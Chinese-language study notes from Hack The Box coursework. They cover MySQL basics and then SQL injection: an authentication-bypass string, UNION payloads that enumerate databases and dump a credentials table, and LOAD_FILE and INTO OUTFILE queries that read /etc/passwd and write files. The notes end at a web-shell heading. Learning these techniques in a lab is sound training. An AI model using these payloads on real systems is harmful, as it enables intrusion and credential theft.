HTB-sql基本知识

schneider / 2024-09-28 / 原文

HTB-sql基本知识-mysql

sql-插入-insert

用于向给定表添加新记录

一、

语法
INSERT INTO table_name VALUES (column1_value, column2_value, column3_value, ...);

上面的语法要求用户填写表中所有列的值。

例子:如何向登录表添加新登录名,并为每列添加适当的值。
mysql> INSERT INTO logins VALUES(1, 'admin', 'p@ssw0rd', '2020-07-02');

Query OK, 1 row affected (0.00 sec)

二、

跳过使用默认值填充列
INSERT INTO table_name(column2, column3, ...) VALUES (column2_value, column3_value, ...);
例子:
mysql> INSERT INTO logins(username, password) VALUES('administrator', 'adm1n_p@ss');

Query OK, 1 row affected (0.00 sec)
跳过了id和date_of_joining列

三、

一次插入多条记录
mysql> INSERT INTO logins(username, password) VALUES ('john', 'john123!'), ('tom', 'tom123!');

Query OK, 2 rows affected (0.00 sec)
Records: 2  Duplicates: 0  Warnings: 0

sql-选择-select

用于检索数据

一、

语法
SELECT * FROM table_name;

星号 (*) 充当通配符并选择所有列。 FROM关键字用于表示要从中选择的表。

二、

查询特定列中的数据
SELECT * column1, column2 FROM table_name

三、

实例
mysql> SELECT * FROM logins;

+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)


mysql> SELECT username,password FROM logins;

+---------------+------------+
| username      | password   |
+---------------+------------+
| admin         | p@ssw0rd   |
| administrator | adm1n_p@ss |
| john          | john123!   |
| tom           | tom123!    |
+---------------+------------+
4 rows in set (0.00 sec)

第一种是查看logins表中所有数据,第二种则是查询username列和password列

sql-删除-drop

用于删除表和数据库

实例
mysql> DROP TABLE logins;

Query OK, 0 rows affected (0.01 sec)


mysql> SHOW TABLES;

Empty set (0.00 sec)

注意,drop语句永久完全删除表且无需确认

sql-更改-alter

用于更改任何表及其任何字段的名称,或者删除现有表或向现有表添加新列

一、

使用ADD将新列newColumn添加到logins表:
mysql> ALTER TABLE logins ADD newColumn INT;

Query OK, 0 rows affected (0.01 sec)

二、

重命名列
mysql> ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn;

Query OK, 0 rows affected (0.01 sec)

三、

使用MODIFY更改列的数据类型
mysql> ALTER TABLE logins MODIFY oldColumn DATE;

Query OK, 0 rows affected (0.01 sec)

四、

使用drop删除一列
mysql> ALTER TABLE logins DROP oldColumn;

Query OK, 0 rows affected (0.01 sec)

sql-更新-update

用于根据某些条件更新表中的特定记录

一、

语法
update table_name set column1=newvalue1, column2=newvalue2, ... where <condition>;

二、

查询更新了 id 大于 1 的所有记录中的所有密码
mysql> UPDATE logins SET password = 'change_password' WHERE id > 1;

Query OK, 3 rows affected (0.00 sec)
Rows matched: 3  Changed: 3  Warnings: 0


mysql> SELECT * FROM logins;

+----+---------------+-----------------+---------------------+
| id | username      | password        | date_of_joining     |
+----+---------------+-----------------+---------------------+
|  1 | admin         | p@ssw0rd        | 2020-07-02 00:00:00 |
|  2 | administrator | change_password | 2020-07-02 11:30:50 |
|  3 | john          | change_password | 2020-07-02 11:47:16 |
|  4 | tom           | change_password | 2020-07-02 11:47:16 |
+----+---------------+-----------------+---------------------+
4 rows in set (0.00 sec)

sql-排序-order by

一、

对任何查询的结果进行排序并指定排序依据的列

mysql> SELECT * FROM logins ORDER BY password;

+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)

二、

默认情况下,排序是按升序进行的,但我们也可以按ASCDESC对结果进行排序:

mysql> SELECT * FROM logins ORDER BY password DESC;

+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)

三、

还可以按多列排序,对一列中的重复值进行二次排序:

mysql> SELECT * FROM logins ORDER BY password DESC, id ASC;

+----+---------------+-----------------+---------------------+
| id | username      | password        | date_of_joining     |
+----+---------------+-----------------+---------------------+
|  1 | admin         | p@ssw0rd        | 2020-07-02 00:00:00 |
|  2 | administrator | change_password | 2020-07-02 11:30:50 |
|  3 | john          | change_password | 2020-07-02 11:47:16 |
|  4 | tom           | change_password | 2020-07-02 11:50:20 |
+----+---------------+-----------------+---------------------+
4 rows in set (0.00 sec)

sql-限制-limit

一、

当我们的查询返回大量的记录,用于限制结果为我们想要的

mysql> SELECT * FROM logins LIMIT 2;

+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

二、

如果我们想用偏移量限制结果,我们可以在 LIMIT 计数之前指定偏移量:

mysql> SELECT * FROM logins LIMIT 1, 2;

+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

注意:偏移量标记了要包含的第一条记录的顺序,从0开始。对于上面的情况,它从第二条记录开始并包含,并返回两个值。

sql-子句-where

一、

要过滤或搜索特定数据,我们可以使用带有WHERE子句的SELECT语句的条件来微调结果:

SELECT * FROM table_name WHERE <condition>;

上面的查询将返回满足给定条件的所有记录。

二、

mysql> SELECT * FROM logins WHERE id > 1;

+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
3 rows in set (0.00 sec)

上面的示例选择id值大于1所有记录。正如我们所看到的, id为 1 的第一行已从输出中跳过。

三、

我们可以对用户名做类似的事情:

mysql> SELECT * FROM logins where username = 'admin';

+----+----------+----------+---------------------+
| id | username | password | date_of_joining     |
+----+----------+----------+---------------------+
|  1 | admin    | p@ssw0rd | 2020-07-02 00:00:00 |
+----+----------+----------+---------------------+
1 row in set (0.00 sec)

上面的查询选择用户名是admin记录

注意:字符串和日期数据类型应该用单引号(')或双引号(")括起来,而数字可以直接使用。

sql-子句-like

一、

它允许通过匹配特定模式来选择记录

查询检索用户名以admin开头的所有记录:
mysql> SELECT * FROM logins WHERE username LIKE 'admin%';

+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  4 | administrator | adm1n_p@ss | 2020-07-02 15:19:02 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

%符号充当通配符,匹配admin之后的所有字符。它用于匹配零个或多个字符。类似地, _符号用于精确匹配一个字符。下面的查询匹配所有包含三个字符的用户名,在本例中是tom

mysql> SELECT * FROM logins WHERE username like '___';

+----+----------+----------+---------------------+
| id | username | password | date_of_joining     |
+----+----------+----------+---------------------+
|  3 | tom      | tom123!  | 2020-07-02 15:18:56 |
+----+----------+----------+---------------------+
1 row in set (0.01 sec)

sql-与运算符-and

一、

AND运算符接受两个条件并根据它们的评估返回truefalse

condition1 AND condition2

当且仅当condition1condition2计算结果都为true时, AND运算的结果才为true

mysql> SELECT 1 = 1 AND 'test' = 'test';

+---------------------------+
| 1 = 1 AND 'test' = 'test' |
+---------------------------+
|                         1 |
+---------------------------+
1 row in set (0.00 sec)

mysql> SELECT 1 = 1 AND 'test' = 'abc';

+--------------------------+
| 1 = 1 AND 'test' = 'abc' |
+--------------------------+
|                        0 |
+--------------------------+
1 row in set (0.00 sec)

补充:在 MySQL 术语中,任何non-zero值都被视为true ,并且它通常返回值1来表示true0被认为是false 。正如我们在上面的示例中看到的,第一个查询返回true因为两个表达式都被评估为true 。但是,第二个查询返回false因为第二个条件'test' = 'abc'false

sql-或运算符-or

一、

OR运算符也接受两个表达式,并在其中至少一个表达式为true时返回true

mysql> SELECT 1 = 1 OR 'test' = 'abc';

+-------------------------+
| 1 = 1 OR 'test' = 'abc' |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set (0.00 sec)

mysql> SELECT 1 = 2 OR 'test' = 'abc';

+-------------------------+
| 1 = 2 OR 'test' = 'abc' |
+-------------------------+
|                       0 |
+-------------------------+
1 row in set (0.00 sec)

第一个查询的计算结果为true因为条件1 = 1true 。第二个查询有两个false条件,导致false输出。

sql-非运算符-not

一、

NOT运算符只是切换一个boolean值“即true转换为false ,反之亦然”:

mysql> SELECT NOT 1 = 1;

+-----------+
| NOT 1 = 1 |
+-----------+
|         0 |
+-----------+
1 row in set (0.00 sec)

mysql> SELECT NOT 1 = 2;

+-----------+
| NOT 1 = 2 |
+-----------+
|         1 |
+-----------+
1 row in set (0.00 sec)

如上面的示例所示,第一个查询结果为false因为它是1 = 1计算的倒数,即true ,因此其倒数为false 。另一方面,第二个查询返回true ,因为1 = 2 'which is false ' 的反义词是true

sql-符号运算符

一、

ANDORNOT运算符也可以表示为&&||! , 分别。以下是使用符号运算符的相同先前示例:

mysql> SELECT 1 = 1 && 'test' = 'abc';

+-------------------------+
| 1 = 1 && 'test' = 'abc' |
+-------------------------+
|                       0 |
+-------------------------+
1 row in set, 1 warning (0.00 sec)

mysql> SELECT 1 = 1 || 'test' = 'abc';

+-------------------------+
| 1 = 1 || 'test' = 'abc' |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set, 1 warning (0.00 sec)

mysql> SELECT 1 != 1;

+--------+
| 1 != 1 |
+--------+
|      0 |
+--------+
1 row in set (0.00 sec)

查询中的运算符

一、

在查询中使用这些运算符。以下查询列出了username不是john所有记录:

mysql> SELECT * FROM logins WHERE username != 'john';

+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
3 rows in set (0.00 sec)

二、

查询选择id大于1并且username不等于john用户:

mysql> SELECT * FROM logins WHERE username != 'john' AND id > 1;

+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

sql-多个运算符优先级

SQL 支持各种其他运算,例如加法、除法以及按位运算。因此,一个查询可以同时具有多个具有多个操作的表达式。这些操作的顺序由运算符优先级决定。

一、

以下列表显示了 SQL 运算符的优先级。列表中首先出现的运算符具有更高的优先级。一起列出的运算符具有相同的优先级。

  • 除法 ( / )、乘法 ( * ) 和模 ( % )
  • 加法 ( + ) 和减法 ( - )
  • 比较( =><<=>=!=LIKE
  • NOT (!)
  • AND (&&)
  • OR (||)

二、

实例:

SELECT * FROM logins WHERE username != 'tom' AND id > 3 - 2;

该查询有四个操作: != 、 AND 、 >和- 。从运算符优先级来看,我们知道减法优先,因此它首先将3 - 2计算为1 :
SELECT * FROM logins WHERE username != 'tom' AND id > 1;

接下来,我们有两个比较操作, >和!= 。两者具有相同的优先级,并且将一起评估。因此,它将返回 username 不是tom所有记录,以及id大于 1 的所有记录,然后应用AND返回满足这两个条件的所有记录:
mysql> select * from logins where username != 'tom' AND id > 3 - 2;

+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  2 | administrator | adm1n_p@ss | 2020-07-03 12:03:53 |
|  3 | john          | john123!   | 2020-07-03 12:03:57 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

HTB-sql基本知识-sql注入

在web应用程序中使用sql

在PHP Web应用中,我们可以连接到数据库,并在php中通过MySQL语法使用数据库

看下面这串代码

$conn = new mysqli("localhost","root","password","users");
$query = "select * form logins";
$result = $conn->query($query);

    $conn: 这是一个变量名,用于保存与数据库连接的对象。
    new mysqli(): 使用 mysqli 构造函数创建一个新的数据库连接对象。
    "localhost": 指定数据库服务器的位置(主机名)。在这个例子中,数据库服务器位于本地机器上。
    "root": 指定用于连接数据库的用户名。
    "password": 指定连接数据库时使用的密码。
    "users": 指定要连接的数据库名称。

    $query: 这是一个变量名,用于保存 SQL 查询语句。
    "select * from logins": 这是一条 SQL 查询语句,用于从名为 logins 的表中选择所有列的所有记录。

    $result: 这是一个变量名,用于保存查询结果。
    $conn->query(): 使用 $conn 对象的 query() 方法执行 SQL 查询。
    $query: 作为参数传递给 query() 方法,该参数包含了要执行的 SQL 查询语句。

然后,查询的输出将存储在$result中,我们可以将其打印到页面或以任何其他方式使用它。下面的 PHP 代码将在新行中打印 SQL 查询的所有返回结果:

while($row = $result->fetch_assoc() ){
	echo $row["name"]."<br>";
}


    while($row = $result->fetch_assoc() ){:
        $row: 这是一个变量,用于存储从数据库查询结果中获取的一行数据。
        $result->fetch_assoc(): 使用 $result 对象的 fetch_assoc() 方法从查询结果中获取下一行数据,并将其作为一个关联数组返回。如果还有更多的行,fetch_assoc() 会返回这一行的数据;如果没有更多的行,它将返回 false。
        while 循环: 这是一个循环结构,只要 $result->fetch_assoc() 返回的不是 false(即还有行可取),就会继续执行循环体内的代码。

    echo $row["name"]."<br>";:
        $row["name"]: 访问 $row 数组中的 "name" 键对应的值。这里的 "name" 应该是查询结果中的一列的名称。
        ."<br>": 在每个名字后面添加 HTML 的换行符 <br>,这样在网页上显示时每个名字会位于新的一行。
        echo: 输出 $row["name"]."<br>" 的结果,即打印出 "name" 列的值,并在其后加上 <br>。

Web 应用程序在检索数据时通常也使用用户输入。例如,当用户使用搜索功能搜索其他用户时,他们的搜索输入将传递到 Web 应用程序,该应用程序使用该输入在数据库中进行搜索:

$searchInput =  $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput'";
$result = $conn->query($query);

所以sql注入就是这么来的,你输入的语句插入了后端设置的sql语句

sql注入

$searchInput =  $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput'";
$result = $conn->query($query);

上述代码对用户输入的内容没有进行任何的过滤,所以当用户在插入代码时,会从代码流的角度修改后端执行的sql语句,从而获取自己想要的结果

正常来说,我们会进入以下的sql查询

select * from logins where username like '%$searchInput'

如果我们输入admin,就会变成%admin。但是如果我们输入'这将结束用户输入字段,在它之后,我们可以编写实际的 SQL 代码

例如,我们输入1'; DROP TABLE users;

会进入以下的sql查询

'%1'; DROP TABLE users;'
即
select * from logins where username like '%1'; DROP TABLE users;'

注意:在上面的示例中,为了简单起见,我们在分号 (😉 后面添加了另一个 SQL 查询。虽然这对于 MySQL 实际上是不可能的,但对于 MSSQL 和 PostgreSQL 是可能的。在接下来的部分中,我们将讨论在 MySQL 中注入 SQL 查询的真正方法。

语法错误

select * from logins where username like '%1'; DROP TABLE users;'

将返回错误

Error: near line 1: near "'": syntax error

这是因为最后一个尾随字符,其中有一个未闭合的额外引号 ( ' )

我们只有一个尾随字符,因为搜索查询的输入接近 SQL 查询的末尾。但是,用户输入通常位于 SQL 查询的中间,原始 SQL 查询的其余部分位于其后面。

为了成功注入,我们必须确保新修改的 SQL 查询在注入后仍然有效并且不存在任何语法错误。在大多数情况下,我们无法访问源代码来查找原始 SQL 查询并开发适当的 SQL 注入来进行有效的 SQL 查询。那么,我们怎样才能成功地注入 SQL 查询呢?

一种方法是通过传递多个单引号来使查询语法起作用,我们接下来将讨论 ( ' )。

sql注入的类型

预期查询和新查询的输出都可以直接打印在前端,我们可以直接读取它。

这称为In-band SQL 注入,它有两种类型: Union Based(联合注入)Error Based(报错注入)

使用Union Based SQL 注入,我们可能必须指定我们可以读取的确切位置,即“列”,因此查询将指示输出打印在那里。

至于基于Error Based SQL 注入,当我们可以在前端获取PHPSQL错误时使用它,因此我们可能会故意导致返回查询输出的 SQL 错误。

在更复杂的情况下,我们可能无法打印输出,因此我们可以利用 SQL 逻辑逐字符检索输出。

这称为 SQL Blind注,它也有两种类型: Boolean Based(布尔盲注)Time Based(时间盲注)

通过Boolean Based SQL 注入,如果我们的条件语句返回true ,我们可以使用 SQL 条件语句来控制页面是否返回任何输出,即“原始查询响应”。

对于Time Based SQL 注入,我们使用 SQL 条件语句,如果条件语句使用Sleep()函数返回true ,则延迟页面响应。

最后,在某些情况下,我们可能无法直接访问输出,因此我们可能必须将输出定向到远程位置,即“DNS 记录”,然后尝试从那里检索它。这称为Out-of-band SQL 注入。

颠覆查询逻辑-万能密码

实例:一个web登录页面。当前sql查询是

SELECT * FROM logins WHERE username='admin' AND password = 'p@ssw0rd';

屏幕截图%202024-08-16%20170155

故意让他报错试试

屏幕截图%202024-08-16%20170321

由于密码错误导致AND运算结果false ,导致登录失败。

sqli发现

在我们开始破坏 Web 应用程序的逻辑并尝试绕过身份验证之前,我们首先必须测试登录表单是否容易受到 SQL 注入攻击。为此,我们将尝试在用户名后面添加以下有效负载之一,并查看它是否会导致任何错误或更改页面的行为方式:

屏幕截图%202024-08-16%20170426

注意:在某些情况下,我们可能必须使用有效负载的 URL 编码版本。一个例子是当我们将有效负载直接放入 URL“即 HTTP GET 请求”时。

我们注入一个单引号

屏幕截图%202024-08-16%20170524

我们看到抛出了 SQL 错误,而不是Login Failed消息。该页面抛出错误,因为生成的查询是:

SELECT * FROM logins WHERE username=''' AND password = 'something';

我们输入的引号导致了奇数个引号,从而导致语法错误。

or注入

无论我们怎么输入,我们需要查询始终返回ture,才能达成绕过

为此,我们可以运用or运算符

在MySQL中AND运算符将在OR运算符之前进行计算。这意味着,如果整个查询中至少有一个TRUE条件以及OR运算符,则整个查询的计算结果将为TRUE因为如果OR运算符的操作数之一为TRUE ,则返回TRUE

始终返回true的条件示例是'1'='1' 。但是,为了保持 SQL 查询正常运行并保留偶数个引号,我们将删除最后一个引号并使用 ('1'='1),而不是使用 ('1'='1'),因此剩余的单引号原始查询中的引用将代替它。

因此,如果我们注入以下条件并在其与原始条件之间使用OR运算符,则它应该始终返回true

admin' or '1'='1

最终查询语句应该是

SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';

逻辑图:

屏幕截图%202024-08-16%20171316

其实这种方法叫做万能密码

使用注释

就像任何其他语言一样,SQL 也允许使用注释。注释用于记录查询或忽略查询的特定部分。除了内嵌注释/**/之外,我们还可以在 MySQL 中使用两种类型的行注释--# (尽管这通常不用于 SQL 注入)。 --可以按如下方式使用:

mysql> SELECT username FROM logins; -- Selects usernames from the logins table 

+---------------+
| username      |
+---------------+
| admin         |
| administrator |
| john          |
| tom           |
+---------------+
4 rows in set (0.00 sec)

在 SQL 中,仅使用两个破折号不足以开始注释。因此,它们后面必须有一个空格,因此注释以 (--) 开头,末尾有一个空格。有时 URL 会编码为 (--+),因为 URL 中的空格会编码为 (+)。为了清楚起见,我们将在末尾(--)添加另一个(-),以显示空格字符的使用。

也可以使用#(%23)符号

mysql> SELECT * FROM logins WHERE username = 'admin'; # You can place anything here AND password = 'something'

+----+----------+----------+---------------------+
| id | username | password | date_of_joining     |
+----+----------+----------+---------------------+
|  1 | admin    | p@ssw0rd | 2020-07-02 00:00:00 |
+----+----------+----------+---------------------+
1 row in set (0.00 sec)

一般来说,使用--+也比较常见

如果应用程序需要在其他条件之前检查特定条件,则 SQL 支持使用括号。括号内的表达式优先于其他运算符并首先进行计算。

屏幕截图%202024-08-16%20181816

输入
admin')--    关闭并注释掉其余部分

最终的查询语句应该为

SELECT * FROM logins where (username='admin')

联合查询-union子句

UNION将两个SELECT语句的输出合并为一个,比如将两个表的条目合并输出

mysql> SELECT * FROM ports UNION SELECT * FROM ships;

+----------+-----------+
| code     | city      |
+----------+-----------+
| CN SHA   | Shanghai  |
| SG SIN   | Singapore |
| Morrison | New York  |
| ZZ-21    | Shenzhen  |
+----------+-----------+
4 rows in set (0.00 sec)

注意:所有位置上所选列的数据类型应相同。

一、

UNION语句只能对具有相同列数的SELECT语句进行操作。

如果我们尝试将两个具有不同列数结果的查询UNION ,我们会收到以下错误:

mysql> SELECT city FROM ports UNION SELECT * FROM ships;

ERROR 1222 (21000): The used SELECT statements have a different number of columns

上述查询会导致错误,因为第一个SELECT返回一列,第二个SELECT返回两列。一旦我们有两个查询返回相同数量的列,我们就可以使用UNION运算符从其他表和数据库中提取数据

SELECT * from products where product_id = '1' UNION SELECT username, password from passwords-- '

假设products表有两列,上面的查询将从passwords表中返回usernamepassword条目。

二、

原始查询的列数通常与我们要执行的 SQL 查询的列数不同

例如,我们可以使用任何字符串作为垃圾数据,查询将返回该字符串作为该列的输出。如果我们与字符串"junk" UNION ,则SELECT查询将是SELECT "junk" from passwords ,这将始终返回junk 。我们还可以使用数字。例如,查询SELECT 1 from passwords将始终返回1作为输出。

注意:当向其他列填充垃圾数据时,我们必须保证数据类型与列的数据类型匹配,否则查询会返回错误

提示:对于高级 SQL 注入,我们可能只想使用“NULL”来填充其他列,因为“NULL”适合所有数据类型。

在上面的示例中, products表有两列,因此我们必须对两列进行UNION 。如果我们只想获取一列“例如username ”,我们必须执行username, 2 ,这样我们就有相同的列数:

SELECT * from products where product_id = '1' UNION SELECT username, 2 from passwords

如果原始查询的表中有更多列,则必须添加更多数字来创建剩余的所需列。例如,如果原始查询在具有四列的表上使用SELECT ,则我们的UNION注入将是:

UNION SELECT username, 2, 3, 4 from passwords-- '	

将返回

mysql> SELECT * from products where product_id UNION SELECT username, 2, 3, 4 from passwords-- '

+-----------+-----------+-----------+-----------+
| product_1 | product_2 | product_3 | product_4 |
+-----------+-----------+-----------+-----------+
|   admin   |    2      |    3      |    4      |
+-----------+-----------+-----------+-----------+

检测列数-order by

利用基于联合的查询之前,我们需要找到服务器选择的列数。

  • 使用order by
  • 使用union

例如,我们可以从order by 1开始,按第一列排序,然后成功,因为表必须至少有一个列。然后我们将按order by 2 ,然后order by 3 ,直到到达返回错误的数字,或者页面不显示任何输出,这意味着该列号不存在。我们成功排序的最终成功列为我们提供了列的总数。

另一种方法是尝试使用不同数量的列进行联合注入,直到成功返回结果。第一个方法总是返回结果,直到我们遇到错误,而这个方法总是给出错误,直到我们成功。

注入点

虽然查询可能返回多个列,但 Web 应用程序可能只显示其中的一些列。因此,如果我们将查询注入到页面上未打印的列中,我们将无法获得其输出。

所以我们要确定哪些列打印在页面上

HTB-sql基本知识-数据库枚举

我们通常要确定我们正在处理的DBMS的类型。因为他们都有不同的查询。

进行指纹识别

屏幕截图%202024-08-16%20185607

例如

屏幕截图%202024-08-16%20185647

输出10.3.22-MariaDB-1ubuntu1意味着我们正在处理类似于 MySQL 的MariaDB DBMS。由于我们有直接查询输出,因此我们不必测试其他有效负载。相反,我们可以测试它们并看看我们会得到什么。

information_schema数据库

要使用UNION SELECT从表中提取数据,我们需要正确形成SELECT查询。为此,我们需要以下信息:

  • List of databases 数据库列表
  • List of tables within each database
    每个数据库中的表列表
  • List of columns within each table
    每个表中的列列表

INFORMATION_SCHEMA数据库包含有关服务器上存在的数据库和表的元数据。该数据库在利用 SQL 注入漏洞时发挥着至关重要的作用。由于这是一个不同的数据库,我们不能直接使用SELECT语句调用它的表。如果我们只为SELECT语句指定表的名称,它将在同一数据库中查找表。

因此,要引用另一个数据库中存在的表,我们可以使用点 ' . ' 操作员。例如,要SELECT名为my_database的数据库中存在的表users ,我们可以使用:

SELECT * FROM my_database.users;

schemata表

INFORMATION_SCHEMA数据库中的表SCHEMATA包含有关服务器上所有数据库的信息。它用于获取数据库名称,以便我们可以查询它们。 SCHEMA_NAME列包含当前存在的所有数据库名称。

mysql> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

+--------------------+
| SCHEMA_NAME        |
+--------------------+
| mysql              |
| information_schema |
| performance_schema |
| ilfreight          |
| dev                |
+--------------------+
6 rows in set (0.01 sec)

注意:前三个数据库是默认的 MySQL 数据库,并且存在于任何服务器上,因此我们通常在 DB 枚举时忽略它们。有时还有第四个“sys”数据库。

如果我们输入

cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

屏幕截图%202024-08-16%20190102

除了默认数据库之外,我们再次看到两个数据库: ilfreightdev 。让我们找出 Web 应用程序正在运行哪个数据库来检索端口数据。我们可以使用SELECT database()查询找到当前数据库。

cn' UNION select 1,database(),2,3-- -

屏幕截图%202024-08-16%20190150

tables表

要查找数据库中的所有表,我们可以使用INFORMATION_SCHEMA数据库中的TABLES表。

TABLES表包含有关整个数据库中所有表的信息。该表包含多个列。

TABLE_NAME列存储表名,而TABLE_SCHEMA列则指向每个表所属的数据库

查找dev数据库中的表名
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -

屏幕截图%202024-08-16%20191241

columns列

需要找到表中的列名,这些列名可以INFORMATION_SCHEMA数据库的COLUMNS表中找到。

COLUMNS表包含有关所有数据库中存在的所有列的信息。这有助于我们找到要查询表的列名。

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

data数据

cn' UNION select 1, username, password, 4 from dev.credentials-- -

屏幕截图%202024-08-16%20191643

HTB-sql基本知识-读写文件

除了从 DBMS 内的各种表和数据库收集数据之外,还可以利用 SQL 注入来执行许多其他操作,例如在服务器上读取和写入文件,甚至在后端服务器上获得远程代码执行。

权限

读权限比较普遍,但是在服务器上的写权限不是很常见的,一般都是特权用户。我们需要收集数据库中用户文件的数据,才能判断接下来用什么方式进行渗透

数据库用户

首先我们要知道我们在数据库中属于哪个用户,可以用到以下任何查询

SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user
例如
cn' UNION SELECT 1, user(), 3, 4-- -
或者
cn' UNION SELECT 1, user, 3, 4 from mysql.user-- -

用户权限

当我们知道我们是哪个用户后,就可以收集该用户有哪些权限

查询是否具有超级管理员权限
SELECT super_priv FROM mysql.user
或者
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -

用户名为root

如果有很多用户,我们可以添加WHERE user="root"以仅显示当前用户的权限:

cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="用户名"-- -

屏幕截图%202024-08-16%20192621

查询返回Y ,表示YES ,表示超级用户权限

添加WHERE grantee="'root'@'localhost'"以仅显示当前用户root权限

cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -

屏幕截图%202024-08-16%20192842

FILE权限,使我们能够读取文件

LOAD_FILE 加载文件

使用LOAD_FILE()函数

MariaDB / MySQL 中可以使用LOAD_FILE()函数从文件中读取数据。该函数只接受一个参数,即文件名。

读取/etc/passwd文件
SELECT LOAD_FILE('/etc/passwd');
实例:
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
泄露当前页面源代码,当前页面位于/var/www/html/search.php
cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -

cril+u查看页面源代码

写入文件权限

三个条件

  1. User with FILE privilege enabled
    启用FILE权限的用户
  2. MySQL global secure_file_priv variable not enabled
    MySQL 全局secure_file_priv变量未启用
  3. Write access to the location we want to write to on the back-end server
    对后端服务器上我们要写入的位置的写访问权限

secure_file_priv 安全文件权限

secure_file_priv变量用于确定从何处读取/写入文件。空值允许我们从整个文件系统读取文件。否则,如果设置了某个目录,我们只能从变量指定的文件夹中读取。。另一方面, NULL意味着我们无法从任何目录读取/写入。 MariaDB 默认情况下将此变量设置为空,这样如果用户具有FILE权限,我们就可以读取/写入任何文件。但是, MySQL使用/var/lib/mysql-files作为默认文件夹。这意味着在默认设置下不可能通过MySQL注入读取文件。更糟糕的是,一些现代配置默认为NULL ,这意味着我们无法在系统内的任何位置读取/写入文件。

MySQL中,我们可以使用以下查询来获取该变量的值:

SHOW VARIABLES LIKE 'secure_file_priv';

所有变量和大多数配置都存储在INFORMATION_SCHEMA数据库中。MySQL全局变量存储在名为global_variables的表中,根据文档,该表有两列variable_namevariable_value

SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"
或者
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -

select into outfile选择到概要文件中

现在我们已经确认用户应该将文件写入后端服务器,让我们尝试使用SELECT .. INTO OUTFILE语句来执行此操作。 SELECT INTO OUTFILE语句可用于将选择查询中的数据写入文件。这通常用于从表中导出数据。

要使用它,我们可以在查询后添加INTO OUTFILE '...'将结果导出到我们指定的文件中。以下示例将users表的输出保存到/tmp/credentials文件中:

SELECT * from users INTO OUTFILE '/tmp/credentials';

转到后端服务器上cat就可以看到数据

还可以直接SELECT字符串写入文件,从而允许我们将任意文件写入后端服务器。

SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';

编写web shell

通过sql注入,把我们编写的web shell注入数据库

